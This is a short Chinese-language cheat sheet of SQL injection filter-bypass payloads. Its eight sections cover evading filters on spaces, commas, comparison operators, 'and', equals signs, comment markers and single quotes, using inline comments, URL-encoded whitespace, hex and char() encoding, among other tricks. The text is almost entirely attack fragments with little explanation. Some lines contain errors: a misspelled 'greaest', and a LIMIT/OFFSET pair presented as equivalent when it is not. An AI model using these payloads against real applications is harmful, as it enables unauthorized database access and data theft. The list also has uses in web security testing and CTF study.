1.空格被过滤
括号绕过
select(id)from(admin)where(id=1);
注释绕过
select/**/*/**/from/**/admin;
反引号绕过(数据库默认识别关键字,不用加引号)
select*from`admin`where`id`=1;
其它空白字符绕过
TAB %09 TAB键
LF %0A 新行
FF %0C 新页
CR %0D 回车
2.逗号被过滤
可以用 from for 代替
select substr('admin',1,1);
select substr('admin' from 1 for 1);
select * from admin limit 1,1;
select * from admin limit 1 offset 0;
3.过滤 掉比较运算符
greaest(ascii(substr('admin',1,1)),1) = 97
least(1,2,4)
strcmp(str1,str2)
substr('admin' from 1 for 1) in ('a')
substr('admin' from 1 for 1) between 'b' and 'b'
4.过滤and
用&&但是&一般会被认为参数连接符 所以需要使用URL编码
%26%26
还可以用or来替代
5.过滤等号
用 in ('')
like,rlike
between 'admin' and 'admin'
regexp
6.过滤注释符
--空格
--+
/**/
#
7.内联注释绕过
select * from admin where id=1 union /*!select*/ 1,2,3;
8.过滤单引号
十六进制绕过
char()函数 web --->> char(119)+char(101)+char(98)